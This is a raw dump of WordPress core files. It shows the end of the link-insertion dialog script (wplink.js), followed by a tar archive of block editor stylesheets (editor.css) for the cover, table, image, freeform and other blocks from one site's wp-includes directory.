			editor.undoManager.transact( function() {
				if ( ! $link.length ) {
					editor.execCommand( 'mceInsertLink', false, { href: '_wp_link_placeholder', 'data-wp-temp-link': 1 } );
					$link = editor.$( 'a[data-wp-temp-link="1"]' ).removeAttr( 'data-wp-temp-link' );
					hasText = $link.text().trim();
				}

				if ( ! $link.length ) {
					editor.execCommand( 'unlink' );
				} else {
					if ( inputs.wrap.hasClass( 'has-text-field' ) ) {
						text = inputs.text.val();

						if ( text ) {
							$link.text( text );
						} else if ( ! hasText ) {
							$link.text( attrs.href );
						}
					}

					attrs['data-wplink-edit'] = null;
					attrs['data-mce-href'] = attrs.href;
					$link.attr( attrs );
				}
			} );

			wpLink.close( 'noReset' );
			editor.focus();

			if ( $link.length ) {
				editor.selection.select( $link[0] );

				if ( editor.plugins.wplink ) {
					editor.plugins.wplink.checkLink( $link[0] );
				}
			}

			editor.nodeChanged();

			// Audible confirmation message when a link has been inserted in the Editor.
			wp.a11y.speak( wpLinkL10n.linkInserted );
		},

		updateFields: function( e, li ) {
			inputs.url.val( li.children( '.item-permalink' ).val() );

			if ( inputs.wrap.hasClass( 'has-text-field' ) && ! inputs.text.val() ) {
				inputs.text.val( li.children( '.item-title' ).text() );
			}
		},

		getUrlFromSelection: function( selection ) {
			if ( ! selection ) {
				if ( this.isMCE() ) {
					selection = editor.selection.getContent({ format: 'text' });
				} else if ( document.selection && wpLink.range ) {
					selection = wpLink.range.text;
				} else if ( typeof this.textarea.selectionStart !== 'undefined' ) {
					selection = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd );
				}
			}

			selection = selection || '';
			selection = selection.trim();

			if ( selection && emailRegexp.test( selection ) ) {
				// Selection is email address.
				return 'mailto:' + selection;
			} else if ( selection && urlRegexp.test( selection ) ) {
				// Selection is URL.
				return selection.replace( /&amp;|&#0?38;/gi, '&' );
			}

			return '';
		},

		setDefaultValues: function( selection ) {
			inputs.url.val( this.getUrlFromSelection( selection ) );

			// Empty the search field and swap the "rivers".
			inputs.search.val('');
			wpLink.searchInternalLinks();

			// Update save prompt.
			inputs.submit.val( wpLinkL10n.save );
		},

		searchInternalLinks: function() {
			var waiting,
				search = inputs.search.val() || '',
				minInputLength = parseInt( wpLinkL10n.minInputLength, 10 ) || 3;

			if ( search.length >= minInputLength ) {
				rivers.recent.hide();
				rivers.search.show();

				// Don't search if the keypress didn't change the title.
				if ( wpLink.lastSearch == search )
					return;

				wpLink.lastSearch = search;
				waiting = inputs.search.parent().find( '.spinner' ).addClass( 'is-active' );

				rivers.search.change( search );
				rivers.search.ajax( function() {
					waiting.removeClass( 'is-active' );
				});
			} else {
				rivers.search.hide();
				rivers.recent.show();
			}
		},

		next: function() {
			rivers.search.next();
			rivers.recent.next();
		},

		prev: function() {
			rivers.search.prev();
			rivers.recent.prev();
		},

		keydown: function( event ) {
			var fn, id;

			// Escape key.
			if ( 27 === event.keyCode ) {
				wpLink.close();
				event.stopImmediatePropagation();
			// Tab key.
			} else if ( 9 === event.keyCode ) {
				id = event.target.id;

				// wp-link-submit must always be the last focusable element in the dialog.
				// Following focusable elements will be skipped on keyboard navigation.
				if ( id === 'wp-link-submit' && ! event.shiftKey ) {
					inputs.close.trigger( 'focus' );
					event.preventDefault();
				} else if ( id === 'wp-link-close' && event.shiftKey ) {
					inputs.submit.trigger( 'focus' );
					event.preventDefault();
				}
			}

			// Up Arrow and Down Arrow keys.
			if ( event.shiftKey || ( 38 !== event.keyCode && 40 !== event.keyCode ) ) {
				return;
			}

			if ( document.activeElement &&
				( document.activeElement.id === 'link-title-field' || document.activeElement.id === 'url-field' ) ) {
				return;
			}

			// Up Arrow key.
			fn = 38 === event.keyCode ? 'prev' : 'next';
			clearInterval( wpLink.keyInterval );
			wpLink[ fn ]();
			wpLink.keyInterval = setInterval( wpLink[ fn ], wpLink.keySensitivity );
			event.preventDefault();
		},

		keyup: function( event ) {
			// Up Arrow and Down Arrow keys.
			if ( 38 === event.keyCode || 40 === event.keyCode ) {
				clearInterval( wpLink.keyInterval );
				event.preventDefault();
			}
		},

		delayedCallback: function( func, delay ) {
			var timeoutTriggered, funcTriggered, funcArgs, funcContext;

			if ( ! delay )
				return func;

			setTimeout( function() {
				if ( funcTriggered )
					return func.apply( funcContext, funcArgs );
				// Otherwise, wait.
				timeoutTriggered = true;
			}, delay );

			return function() {
				if ( timeoutTriggered )
					return func.apply( this, arguments );
				// Otherwise, wait.
				funcArgs = arguments;
				funcContext = this;
				funcTriggered = true;
			};
		}
	};

	River = function( element, search ) {
		var self = this;
		this.element = element;
		this.ul = element.children( 'ul' );
		this.contentHeight = element.children( '#link-selector-height' );
		this.waiting = element.find('.river-waiting');

		this.change( search );
		this.refresh();

		$( '#wp-link .query-results, #wp-link #link-selector' ).on( 'scroll', function() {
			self.maybeLoad();
		});
		element.on( 'click', 'li', function( event ) {
			self.select( $( this ), event );
		});
	};

	$.extend( River.prototype, {
		refresh: function() {
			this.deselect();
			this.visible = this.element.is( ':visible' );
		},
		show: function() {
			if ( ! this.visible ) {
				this.deselect();
				this.element.show();
				this.visible = true;
			}
		},
		hide: function() {
			this.element.hide();
			this.visible = false;
		},
		// Selects a list item and triggers the river-select event.
		select: function( li, event ) {
			var liHeight, elHeight, liTop, elTop;

			if ( li.hasClass( 'unselectable' ) || li == this.selected )
				return;

			this.deselect();
			this.selected = li.addClass( 'selected' );
			// Make sure the element is visible.
			liHeight = li.outerHeight();
			elHeight = this.element.height();
			liTop = li.position().top;
			elTop = this.element.scrollTop();

			if ( liTop < 0 ) // Make first visible element.
				this.element.scrollTop( elTop + liTop );
			else if ( liTop + liHeight > elHeight ) // Make last visible element.
				this.element.scrollTop( elTop + liTop - elHeight + liHeight );

			// Trigger the river-select event.
			this.element.trigger( 'river-select', [ li, event, this ] );
		},
		deselect: function() {
			if ( this.selected )
				this.selected.removeClass( 'selected' );
			this.selected = false;
		},
		prev: function() {
			if ( ! this.visible )
				return;

			var to;
			if ( this.selected ) {
				to = this.selected.prev( 'li' );
				if ( to.length )
					this.select( to );
			}
		},
		next: function() {
			if ( ! this.visible )
				return;

			var to = this.selected ? this.selected.next( 'li' ) : $( 'li:not(.unselectable):first', this.element );
			if ( to.length )
				this.select( to );
		},
		ajax: function( callback ) {
			var self = this,
				delay = this.query.page == 1 ? 0 : wpLink.minRiverAJAXDuration,
				response = wpLink.delayedCallback( function( results, params ) {
					self.process( results, params );
					if ( callback )
						callback( results, params );
				}, delay );

			this.query.ajax( response );
		},
		change: function( search ) {
			if ( this.query && this._search == search )
				return;

			this._search = search;
			this.query = new Query( search );
			this.element.scrollTop( 0 );
		},
		process: function( results, params ) {
			var list = '', alt = true, classes = '',
				firstPage = params.page == 1;

			if ( ! results ) {
				if ( firstPage ) {
					list += '<li class="unselectable no-matches-found"><span class="item-title"><em>' +
						wpLinkL10n.noMatchesFound + '</em></span></li>';
				}
			} else {
				$.each( results, function() {
					classes = alt ? 'alternate' : '';
					classes += this.title ? '' : ' no-title';
					list += classes ? '<li class="' + classes + '">' : '<li>';
					list += '<input type="hidden" class="item-permalink" value="' + this.permalink + '" />';
					list += '<span class="item-title">';
					list += this.title ? this.title : wpLinkL10n.noTitle;
					list += '</span><span class="item-info">' + this.info + '</span></li>';
					alt = ! alt;
				});
			}

			this.ul[ firstPage ? 'html' : 'append' ]( list );
		},
		maybeLoad: function() {
			var self = this,
				el = this.element,
				bottom = el.scrollTop() + el.height();

			if ( ! this.query.ready() || bottom < this.contentHeight.height() - wpLink.riverBottomThreshold )
				return;

			setTimeout(function() {
				var newTop = el.scrollTop(),
					newBottom = newTop + el.height();

				if ( ! self.query.ready() || newBottom < self.contentHeight.height() - wpLink.riverBottomThreshold )
					return;

				self.waiting.addClass( 'is-active' );
				el.scrollTop( newTop + self.waiting.outerHeight() );

				self.ajax( function() {
					self.waiting.removeClass( 'is-active' );
				});
			}, wpLink.timeToTriggerRiver );
		}
	});

	Query = function( search ) {
		this.page = 1;
		this.allLoaded = false;
		this.querying = false;
		this.search = search;
	};

	$.extend( Query.prototype, {
		ready: function() {
			return ! ( this.querying || this.allLoaded );
		},
		ajax: function( callback ) {
			var self = this,
				query = {
					action : 'wp-link-ajax',
					page : this.page,
					'_ajax_linking_nonce' : inputs.nonce.val()
				};

			if ( this.search )
				query.search = this.search;

			this.querying = true;

			$.post( window.ajaxurl, query, function( r ) {
				self.page++;
				self.querying = false;
				self.allLoaded = ! r;
				callback( r, query );
			}, 'json' );
		}
	});

	$( wpLink.init );
})( jQuery, window.wpLinkL10n, window.wp );
14338/editor.css.tar000064400000106000151024420100007775 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/cover/editor.css000064400000003575151024266230025762 0ustar00.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient{
  position:relative;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  content:"";
  height:100%;
  opacity:.3;
  position:absolute;
  width:100%;
  z-index:1;
}
.wp-block-cover.is-transient .wp-block-cover__inner-container{
  z-index:2;
}
.wp-block-cover .components-spinner{
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:left;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-left:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/table/editor.css000064400000003071151024266620025725 0ustar00.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{
  width:auto;
}
.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{
  word-break:break-word;
}
.wp-block[data-align=center]>.wp-block-table{
  text-align:initial;
}
.wp-block[data-align=center]>.wp-block-table table{
  margin:0 auto;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table td.is-selected,.wp-block-table th.is-selected{
  border-color:var(--wp-admin-theme-color);
  border-style:double;
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{
  border:1px solid;
}

.blocks-table__placeholder-form.blocks-table__placeholder-form{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
@media (min-width:782px){
  .blocks-table__placeholder-form.blocks-table__placeholder-form{
    align-items:flex-end;
    flex-direction:row;
  }
}

.blocks-table__placeholder-input{
  width:112px;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/audio/editor.css000064400000000370151024267000025727 0ustar00.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/group/editor.css000064400000002474151024267040025775 0ustar00.wp-block-group .block-editor-block-list__insertion-point{
  left:0;
  right:0;
}

[data-type="core/group"].is-selected .block-list-appender{
  margin-left:0;
  margin-right:0;
}
[data-type="core/group"].is-selected .has-background .block-list-appender{
  margin-bottom:18px;
  margin-top:18px;
}

.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{
  gap:inherit;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  display:inherit;
  flex:1;
  flex-direction:inherit;
  width:100%;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:1px dashed;
  content:"";
  display:flex;
  flex:1 0 40px;
  min-height:38px;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  pointer-events:all;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/rss/editor.css000064400000000311151024270040025426 0ustar00.wp-block-rss li a>div{
  display:inline;
}

.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{
  flex:1 1 auto;
}

.wp-block-rss .wp-block-rss{
  all:inherit;
  margin:0;
  padding:0;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/social-link/editor.css000064400000001315151024272110027031 0ustar00.wp-block-social-links .wp-social-link{
  line-height:0;
}

.wp-block-social-link-anchor{
  align-items:center;
  background:none;
  border:0;
  box-sizing:border-box;
  color:currentColor;
  cursor:pointer;
  display:inline-flex;
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
  height:auto;
  margin:0;
  opacity:1;
  padding:.25em;
}
.wp-block-social-link-anchor:hover{
  transform:none;
}

:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){
  padding-left:.6666666667em;
  padding-right:.6666666667em;
}

:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){
  padding:0;
}

.wp-block-social-link__toolbar_content_text{
  width:250px;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/query/editor.css000064400000002526151024277750026015 0ustar00.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{
  background:#fff;
  margin-bottom:-4px;
  padding:16px 0;
  position:sticky;
  top:0;
  transform:translateY(-4px);
  z-index:2;
}

@media (min-width:600px){
  .wp-block-query__enhanced-pagination-modal{
    max-width:480px;
  }
}

.block-editor-block-settings-menu__popover.is-expanded{
  overflow-y:scroll;
}
.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{
  height:100%;
}
.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr;
  grid-gap:12px;
  min-width:280px;
}
@media (min-width:600px){
  .block-editor-block-settings-menu__popover .block-editor-block-patterns-list{
    grid-template-columns:1fr 1fr;
    min-width:480px;
  }
}
.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/image/editor.css000064400000005266151024277770025740 0ustar00.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{
  min-height:60px;
}

figure.wp-block-image:not(.wp-block){
  margin:0;
}

.wp-block-image{
  position:relative;
}
.wp-block-image .is-applying img,.wp-block-image.is-transient img{
  opacity:.3;
}
.wp-block-image figcaption img{
  display:inline;
}
.wp-block-image .components-spinner{
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}

.wp-block-image__placeholder{
  aspect-ratio:4/3;
}
.wp-block-image__placeholder.has-illustration:before{
  background:#fff;
  opacity:.8;
}
.wp-block-image__placeholder .components-placeholder__illustration{
  opacity:.1;
}

.wp-block-image .components-resizable-box__container{
  display:table;
}
.wp-block-image .components-resizable-box__container img{
  display:block;
  height:inherit;
  width:inherit;
}

.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
  left:0;
  margin:-1px 0;
  position:absolute;
  right:0;
}
@media (min-width:600px){
  .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
    margin:-1px;
  }
}

[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{
  height:auto;
  width:100%;
}

.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{
  display:table;
}
.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{
  caption-side:bottom;
  display:table-caption;
}

.wp-block[data-align=left]>.wp-block-image{
  margin:.5em 1em .5em 0;
}

.wp-block[data-align=right]>.wp-block-image{
  margin:.5em 0 .5em 1em;
}

.wp-block[data-align=center]>.wp-block-image{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align]:has(>.wp-block-image){
  position:relative;
}

.wp-block-image__crop-area{
  max-width:100%;
  overflow:hidden;
  position:relative;
  width:100%;
}
.wp-block-image__crop-area .reactEasyCrop_Container{
  pointer-events:auto;
}
.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{
  border:none;
  border-radius:0;
}

.wp-block-image__crop-icon{
  align-items:center;
  display:flex;
  justify-content:center;
  min-width:48px;
  padding:0 8px;
}
.wp-block-image__crop-icon svg{
  fill:currentColor;
}

.wp-block-image__zoom .components-popover__content{
  min-width:260px;
  overflow:visible !important;
}

.wp-block-image__toolbar_content_textarea__container{
  padding:8px;
}

.wp-block-image__toolbar_content_textarea{
  width:250px;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/nextpage/editor.css000064400000001241151024305500026435 0ustar00.block-editor-block-list__block[data-type="core/nextpage"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-nextpage{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-nextpage>span{
  background:#fff;
  border-radius:4px;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  padding:6px 8px;
  position:relative;
  text-transform:uppercase;
}
.wp-block-nextpage:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/freeform/editor.css000064400000024714151024305560026447 0ustar00.wp-block-freeform.block-library-rich-text__tinymce{
  height:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{
  line-height:1.8;
}
.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{
  margin-left:0;
  padding-left:2.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce blockquote{
  border-left:4px solid #000;
  box-shadow:inset 0 0 0 0 #ddd;
  margin:0;
  padding-left:1em;
}
.wp-block-freeform.block-library-rich-text__tinymce pre{
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  white-space:pre-wrap;
}
.wp-block-freeform.block-library-rich-text__tinymce>:first-child{
  margin-top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce>:last-child{
  margin-bottom:0;
}
.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce a{
  color:var(--wp-admin-theme-color);
}
.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{
  background:#e5f5fa;
  border-radius:2px;
  box-shadow:0 0 0 1px #e5f5fa;
  margin:0 -2px;
  padding:0 2px;
}
.wp-block-freeform.block-library-rich-text__tinymce code{
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:14px;
  padding:2px;
}
.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{
  background:#ddd;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{
  display:block;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{
  background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);
  background-position:50%;
  background-repeat:no-repeat;
  background-size:1900px 20px;
  cursor:default;
  display:block;
  height:20px;
  margin:15px auto;
  outline:0;
  width:96%;
}
.wp-block-freeform.block-library-rich-text__tinymce img::selection{
  background-color:initial;
}
.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{
  -ms-user-select:element;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{
  margin:0;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{
  display:block;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{
  -webkit-user-drag:none;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{
  margin:0;
  padding-top:.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview{
  border:1px solid #0000;
  clear:both;
  margin-bottom:16px;
  position:relative;
  width:99.99%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{
  background:#0000;
  display:block;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{
  display:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{
  border:1px dashed #ddd;
  padding:10px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{
  border:1px solid #ddd;
  margin:0;
  padding:1em 0;
  word-wrap:break-word;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{
  margin:0;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{
  border-color:#0000;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{
  display:block;
  font-size:32px;
  height:32px;
  margin:0 auto;
  width:32px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery a{
  cursor:default;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery{
  line-height:1;
  margin:auto -6px;
  overflow-x:hidden;
  padding:6px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{
  box-sizing:border-box;
  float:left;
  margin:0;
  padding:6px;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{
  margin:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{
  font-size:13px;
  margin:4px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{
  width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{
  width:50%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{
  width:33.3333333333%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{
  width:25%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{
  width:20%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{
  width:16.6666666667%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{
  width:14.2857142857%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{
  width:12.5%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{
  width:11.1111111111%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img{
  border:none;
  height:auto;
  max-width:100%;
  padding:0;
}

div[data-type="core/freeform"]:before{
  border:1px solid #ddd;
  outline:1px solid #0000;
}
@media not (prefers-reduced-motion){
  div[data-type="core/freeform"]:before{
    transition:border-color .1s linear,box-shadow .1s linear;
  }
}
div[data-type="core/freeform"].is-selected:before{
  border-color:#1e1e1e;
}
div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{
  margin-top:0;
  padding-top:0;
}
div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{
  clear:both;
  content:"";
  display:table;
}

.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{
  color:#1e1e1e;
}
.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{
  margin-left:8px;
  margin-right:0;
}
.mce-toolbar-grp .mce-btn i{
  font-style:normal;
}

.block-library-classic__toolbar{
  border:1px solid #ddd;
  border-bottom:none;
  border-radius:2px;
  display:none;
  margin:0 0 8px;
  padding:0;
  position:sticky;
  top:0;
  width:auto;
  z-index:31;
}
div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{
  border-color:#1e1e1e;
  display:block;
}
.block-library-classic__toolbar .mce-tinymce{
  box-shadow:none;
}
@media (min-width:600px){
  .block-library-classic__toolbar{
    padding:0;
  }
}
.block-library-classic__toolbar:empty{
  background:#f5f5f5;
  border-bottom:1px solid #e2e4e7;
  display:block;
}
.block-library-classic__toolbar:empty:before{
  color:#555d66;
  content:attr(data-placeholder);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:37px;
  padding:14px;
}
.block-library-classic__toolbar div.mce-toolbar-grp{
  border-bottom:1px solid #1e1e1e;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{
  height:auto !important;
  width:100% !important;
}
.block-library-classic__toolbar .mce-container-body.mce-abs-layout{
  overflow:visible;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{
  position:static;
}
.block-library-classic__toolbar .mce-toolbar-grp>div{
  padding:1px 3px;
}
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){
  display:none;
}
